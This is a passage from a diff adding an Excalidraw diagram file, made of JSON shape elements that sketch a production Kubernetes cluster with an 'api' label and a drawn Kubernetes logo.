"opacity": 100, + "angle": 0, + "x": 2410.0578359724423, + "y": -1426.4711831973182, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 8.418684886464801, + "height": 1.667066314151486, + "seed": 1990847672, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 8.418684886464801, + 1.667066314151486 + ] + ] + }, + { + "type": "line", + "version": 1155, + "versionNonce": 1757964512, + "index": "c0UZa", + "isDeleted": false, + "id": "hSEhPGyH7SAX1t-yuNPNA", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2407.2238232383847, + "y": -1413.9681858411823, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.4177257325017, + "height": 5.417965520992358, + "seed": 893097400, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.4177257325017, + 5.417965520992358 + ] + ] + }, + { + "type": "line", + "version": 1147, + "versionNonce": 159927520, + "index": "c0UZaG", + "isDeleted": false, + "id": "wraTSGUNVzfVlC5yI-4n7", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2394.804179197956, + "y": -1409.5504601086805, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.0002397884912422, + "height": 7.1683851508514485, + "seed": 1706041016, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.0002397884912422, + 7.1683851508514485 + ] + ] + }, + { + "type": "line", + "version": 1149, + "versionNonce": 1353429216, + "index": "c0UZaV", + "isDeleted": false, + "id": "amQeschSb9rxmnm_ngx1c", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2385.051841260169, + "y": -1415.301838892503, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.66802546811517, + "height": 6.418205309483252, + "seed": 145459128, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.66802546811517, + 6.418205309483252 + ] + ] + }, + { + "type": "line", + "version": 1157, + "versionNonce": 633509088, + "index": "c0UZb", + "isDeleted": false, + "id": "qZLWIuZXxOtTA6Gr_PV0U", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2381.2175887376197, + "y": -1426.554536513026, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 10.919284357692204, + "height": 0, + "seed": 1783746744, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -10.919284357692204, + 0 + ] + ] + }, + { + "type": "line", + "version": 1153, + "versionNonce": 2120022240, + "index": "c0UZbG", + "isDeleted": false, + "id": "7HIt7In4-CSyUIyQ8SkjL", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2386.8022608900283, + "y": -1438.6407672906244, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 6.418205309483252, + "height": 1.667066314151486, + "seed": 843512248, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -6.418205309483252, + -1.667066314151486 + ] + ] + }, + { + "type": "ellipse", + "version": 1290, + "versionNonce": 504028384, + "index": "c0UZbV", + "isDeleted": false, + "id": "GD0URPKKhTKsWr2TUytmm", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2388.436983719232, + "y": -1478.3552829852451, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 20.902438323372518, + "height": 21.172495666051674, + "seed": 1940849336, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1232, + "versionNonce": 1448886496, + "index": "c0UZc", + "isDeleted": false, + "id": "uKve5jQawDQaX8b4aGr4q", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2398.915208615186, + "y": -1478.03121417403, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.1882523077885643, + "height": 4.158883077260145, + "seed": 1026419640, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1882523077885643, + -4.158883077260145 + ] + ] + }, + { + "type": "line", + "version": 1215, + "versionNonce": 1189160160, + "index": "c0UZcG", + "isDeleted": false, + "id": "-ktFf2if25GTMQQH7SiIv", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2405.882688056311, + "y": -1476.1408127752766, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.566332587539521, + "seed": 686273720, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.158883077260126, + -1.566332587539521 + ] + ] + }, + { + "type": "line", + "version": 1218, + "versionNonce": 489261280, + "index": "c0UZcV", + "isDeleted": false, + "id": "hkY-RbXdS6-a9iNLQN5w9", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2408.529250014568, + "y": -1467.9850810263633, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.455158322120268, + "height": 1.0802293707169108, + "seed": 1820351928, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.455158322120268, + 1.0802293707169108 + ] + ] + }, + { + "type": "line", + "version": 1216, + "versionNonce": 1422224608, + "index": "c0UZd", + "isDeleted": false, + "id": "gJwsemAlj0oVHOgPEEVp6", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2406.6928600843494, + "y": -1459.8833607459865, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8626078323999846, + "height": 3.51074545482998, + "seed": 1763436216, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8626078323999846, + 3.51074545482998 + ] + ] + }, + { + "type": "line", + "version": 1208, + "versionNonce": 2000998624, + "index": "c0UZdG", + "isDeleted": false, + "id": "Xz1PiWNhelVwasnkxqwUw", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2398.645151272509, + "y": -1457.0207529135869, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.6481376224303735, + "height": 4.644986294082755, + "seed": 996036536, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.6481376224303735, + 4.644986294082755 + ] + ] + }, + { + "type": "line", + "version": 1210, + "versionNonce": 1547154656, + "index": "c0UZdV", + "isDeleted": false, + "id": "3eTP0cs5ReVXUWqJ7dHEZ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2392.325809453814, + "y": -1460.7475442425593, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.6727798604375725, + "height": 4.158883077260126, + "seed": 1265342648, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.6727798604375725, + 4.158883077260126 + ] + ] + }, + { + "type": "line", + "version": 1218, + "versionNonce": 1764628704, + "index": "c0UZe", + "isDeleted": false, + "id": "Unu6S4aPJYVg6nr3HAzjd", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2389.841281901164, + "y": -1468.0390924948993, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 7.075502378195748, + "height": 0, + "seed": 1558692280, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -7.075502378195748, + 0 + ] + ] + }, + { + "type": "line", + "version": 1214, + "versionNonce": 1371012320, + "index": "c0UZeG", + "isDeleted": false, + "id": "O1hgdIpybgT_DzX3DZHiM", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2393.4600502930666, + "y": -1475.8707554325965, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.0802293707169108, + "seed": 519490232, + "groupIds": [ + "WsTrbCDrHJZ7kXvvtMqo5", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.158883077260126, + -1.0802293707169108 + ] + ] + }, + { + "type": "text", + "version": 1299, + "versionNonce": 1466261728, + "index": "c0UZeV", + "isDeleted": false, + "id": "6Z75cAhN", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2356.143645722702, + "y": -1379.809129333009, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 55.306220439054265, + "height": 50.15249347225876, + "seed": 1010611128, + "groupIds": [ + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "fontSize": 40.121994777807004, + "fontFamily": 1, + "text": "api", + "rawText": "api", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "api", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 942, + "versionNonce": 163988704, + "index": "c0UZf", + "isDeleted": false, + "id": "6ri9mcGb8A2b0iBf4nC_g", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dashed", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 1422.7781012212363, + "y": -1640.0843350272844, + "strokeColor": "#0091e2", + "backgroundColor": "transparent", + "width": 1563.3108480603235, + "height": 404.43657643330806, + "seed": 281247160, + "groupIds": [ + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 2810, + "versionNonce": 107653344, + "index": "c0UZfG", + "isDeleted": false, + "id": "rD7PYIHy", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1592.172111593947, + "y": -1599.2505971459832, + "strokeColor": "#343a40", + "backgroundColor": "transparent", + "width": 536.2062389088786, + "height": 72.80665892698461, + "seed": 1476069048, + "groupIds": [ + "QctBbr11v2yk4BYZ5lWUF", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "Kub Cluster - prod", + "rawText": "Kub Cluster - prod", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Kub Cluster - prod", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 445, + "versionNonce": 954371296, + "index": "c0UZfV", + "isDeleted": false, + "id": "vrNdK-LoO4qKmJL2Srifu", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1424.3796935428084, + "y": -1166.26168926079, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 809.1994183104124, + "height": 155.1877080149376, + "seed": 620935352, + "groupIds": [ + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2957, + "versionNonce": 448655584, + "index": "c0UZg", + "isDeleted": false, + "id": "_Bj3nZFzKthdAMHGecZFi", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1472.319800804976, + "y": -1142.1001441885976, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 137.25462749862166, + "height": 133.16745907115097, + "seed": 356903608, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -19.858832295391053, + 9.357060858608907 + ], + [ + -20.82335571705872, + 9.934367540497373 + ], + [ + -21.58483177670788, + 10.500035470522374 + ], + [ + -22.215769083274317, + 11.065703400547589 + ], + [ + -22.933732225229196, + 11.827179460196618 + ], + [ + -23.629938908336964, + 12.740950731775676 + ], + [ + -24.1303374618207, + 13.719991379895877 + ], + [ + -24.413171426833227, + 14.633762651474955 + ], + [ + -24.61906785092235, + 15.666240708546752 + ], + [ + -31.404699872680503, + 44.470555534225085 + ], + [ + -36.139875597311864, + 65.66503613648766 + ], + [ + -36.461013089595156, + 66.77644283259525 + ], + [ + -36.58832208992515, + 67.96466016900914 + ], + [ + -36.60954025664686, + 69.04678667181453 + ], + [ + -36.4988155370519, + 70.07189243313978 + ], + [ + -36.31248592254336, + 70.9617869223158 + ], + [ + -36.10509788423565, + 71.57574350360086 + ], + [ + -35.786348570192786, + 72.43537665889333 + ], + [ + -35.21648200853325, + 73.40077905596239 + ], + [ + -34.621367557948304, + 74.22233508077001 + ], + [ + -0.78345815250443, + 116.16474339119846 + ], + [ + -0.20459458385334983, + 116.70666797036043 + ], + [ + 0.5239201805040423, + 117.1923444799319 + ], + [ + 1.2726714660936267, + 117.67802098950364 + ], + [ + 2.041659272915325, + 118.04227837168219 + ], + [ + 2.851120122201344, + 118.32558966893248 + ], + [ + 3.741527056415997, + 118.52795488125383 + ], + [ + 4.692643554327056, + 118.6291374874146 + ], + [ + 5.578149305225253, + 118.66101475582445 + ], + [ + 59.02572434056597, + 118.64620612910471 + ], + [ + 60.048366234598966, + 118.52927263981837 + ], + [ + 61.03157027014318, + 118.30503312293976 + ], + [ + 62.03202349929343, + 118.04629521884928 + ], + [ + 62.894483179595284, + 117.56331779788017 + ], + [ + 63.756942859897336, + 116.99409440888077 + ], + [ + 64.60215334659313, + 116.33862505185147 + ], + [ + 65.2403735100166, + 115.66590650121607 + ], + [ + 65.83999394245127, + 114.9090601677334 + ], + [ + 99.3790812020678, + 73.19247433315671 + ], + [ + 99.8543364565285, + 72.33630865605096 + ], + [ + 100.1799397211241, + 71.49904311851941 + ], + [ + 100.389256105507, + 70.59200545286052 + ], + [ + 100.5753151138473, + 69.73148253928643 + ], + [ + 100.6450872419748, + 68.80118749758489 + ], + [ + 100.62182986593237, + 67.75460557567058 + ], + [ + 100.43577085759202, + 66.73128102979874 + ], + [ + 100.19066738385901, + 65.70232223946365 + ], + [ + 88.58032377422029, + 15.362319719741208 + ], + [ + 88.26863729766231, + 14.200846455948138 + ], + [ + 87.99822517284011, + 13.48685418895358 + ], + [ + 87.73509750100723, + 12.90304239344048 + ], + [ + 87.28339192131813, + 12.177574700955844 + ], + [ + 86.32921775971904, + 11.053061656579906 + ], + [ + 85.34808850349916, + 10.259864950571732 + ], + [ + 84.05653946052819, + 9.397861374824046 + ], + [ + 54.77277642773265, + -4.314769732447161 + ], + [ + 46.16428526619778, + -8.621429033990118 + ], + [ + 37.01495567873984, + -12.979327158328518 + ], + [ + 35.849966939695456, + -13.600651334868633 + ], + [ + 34.84625039378267, + -14.065788270779578 + ], + [ + 34.03838097877973, + -14.286116293053139 + ], + [ + 33.03466443286698, + -14.43300164123561 + ], + [ + 31.761658081953254, + -14.506444315326517 + ], + [ + 30.439689948312058, + -14.335078075780519 + ], + [ + 29.044279140579675, + -13.967864705324676 + ], + [ + 27.844715463757133, + -13.40480420395882 + ], + [ + 26.58024271160624, + -12.802637168235126 + ], + [ + 18.66731401225605, + -9.042037390326108 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1080, + "versionNonce": 1938609376, + "index": "c0UZgG", + "isDeleted": false, + "id": "EfqWw4RK8LUaRBbZqSqL_", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1467.7199715875583, + "y": -1124.6612519660548, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 74.34183425623006, + "height": 74.15515653402763, + "seed": 1537725368, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2335, + "versionNonce": 417282272, + "index": "c0UZgV", + "isDeleted": false, + "id": "IwMmXPSxjPhPv2LHRo3Np", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1501.6052355891316, + "y": -1124.4227189508636, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 803511480, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2388, + "versionNonce": 776281312, + "index": "c0UZh", + "isDeleted": false, + "id": "qu6iuZyoG1xKKCtQ55xzA", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.8686267165409003, + "x": 1536.1399133563705, + "y": -1108.0553714359173, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1403012536, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + 